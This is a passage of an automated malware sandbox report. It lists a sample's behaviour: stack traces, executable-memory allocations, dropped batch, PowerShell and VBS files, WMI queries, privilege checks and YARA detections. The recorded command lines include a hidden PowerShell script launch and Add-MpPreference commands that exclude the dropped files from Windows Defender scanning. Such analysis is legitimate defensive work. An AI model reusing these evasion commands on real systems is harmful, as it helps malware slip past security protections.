CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x7617d40b RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x7617991b RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x76178d67 RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x7617a0d8 RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x76179b85 RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x76179aa8 DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6f1d6f4f DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6f1d6e40 DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6f1d27a4 DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6f1d2652 DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6f1d253d DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6f1d2411 DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6f1d25ab wmic+0x39c80 @ 0x249c80 wmic+0x3b06a @ 0x24b06a wmic+0x3b1f8 @ 0x24b1f8 wmic+0x36fcd @ 0x246fcd wmic+0x3d6e9 @ 0x24d6e9 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 2090624 registers.edi: 1953561104 registers.eax: 2090624 registers.ebp: 2090704 registers.edx: 1 registers.ebx: 6680468 registers.esi: 2147746133 registers.ecx: 3566840878	1
__exception__ Aug. 1, 2023, 9:06 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x74724387 NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x75c4ef51 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x75c46a9c NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x75c46b42 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x75c46a9c NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x75c65c3a NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x75ce06b8 WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x747fd7e6 WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x747fd876 WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x747fddd0 CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x74718a43 CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x74718938 DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x7471950a WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x747fdccd WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x747fdb41 WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x747fe1fd DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x74719367 DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x74719326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x758577c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x7585788a CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x746da48b CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x746d853b CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x746da4ac CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x746ecd48 CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x746ed87a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 38268972 registers.edi: 2693444 registers.eax: 38268972 registers.ebp: 38269052 registers.edx: 53 registers.ebx: 38269336 registers.esi: 2147746133 registers.ecx: 2451032	1
__exception__ Aug. 1, 2023, 9:06 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725 NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x746cfe14 StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x747fa338 IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x761ae99f IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x761872ed RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x7617ab0d IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x761ac048 RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x761787f7 RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x76178926 RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x7617d55e IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x761ac44b RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x7617d1f6 RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x7617d1ac RevokeBindStatusCallback+0x125a CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x7617d40b RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x7617991b RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x76178d67 RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x7617a0d8 RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x76179b85 RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x76179aa8 DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6f1c6f4f DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6f1c6e40 DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6f1c27a4 DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6f1c2652 DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6f1c253d DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6f1c2411 DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6f1c25ab wmic+0x39c80 @ 0xd29c80 wmic+0x3b06a @ 0xd2b06a wmic+0x3b1f8 @ 0xd2b1f8 wmic+0x36fcd @ 0xd26fcd wmic+0x3d6e9 @ 0xd2d6e9 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 2156800 registers.edi: 1953561104 registers.eax: 2156800 registers.ebp: 2156880 registers.edx: 1 registers.ebx: 2420676 registers.esi: 2147746133 registers.ecx: 3532085621	1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 409 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x734d2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02673000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02674000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02676000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05130000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05131000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05134000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05135000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05136000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05137000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05138000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05139000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0513f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05140000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05141000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 9:06 a.m.	process_identifier: 2928 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (7 events)

file	C:\Users\test22\AppData\Local\Temp\7z.exe
file	C:\Users\test22\AppData\Local\Temp\C3.bat
file	C:\Users\test22\AppData\Local\Temp\12.bat
file	C:\Users\test22\AppData\Local\Temp\Add.ps1
file	C:\Users\test22\AppData\Local\Temp\vbs.vbs
file	C:\Users\test22\AppData\Local\Temp\7z.dll
file	C:\Users\test22\AppData\Local\Temp\4.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (6 events)

cmdline	powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
cmdline	wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
cmdline	wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
cmdline	Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\4.zip"'
cmdline	Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.zip"'
cmdline	"C:\Windows\system32\cmd.exe"

Drops a binary and executes it (4 events)

file	C:\Users\test22\AppData\Local\Temp\12.bat
file	C:\Users\test22\AppData\Local\Temp\vbs.vbs
file	C:\Users\test22\AppData\Local\Temp\7z.exe
file	C:\Users\test22\AppData\Local\Temp\4.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\7z.dll
file	C:\Users\test22\AppData\Local\Temp\7z.exe

Executes one or more WMI queries (2 events)

wmi	SELECT * FROM Win32_ComputerSystem WHERE name="TEST22-PC"
wmi	SELECT * FROM Win32_PageFileSetting WHERE name="C:\\pagefile.sys"

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 1, 2023, 9:06 a.m.	show_type: 0 filepath_r: C3.bat parameters: filepath: C3.bat	1	1	0
CreateProcessInternalW Aug. 1, 2023, 9:06 a.m.	thread_identifier: 2124 thread_handle: 0x00000084 process_identifier: 2120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Aug. 1, 2023, 9:06 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 1, 2023, 9:06 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 1, 2023, 9:06 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (39 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
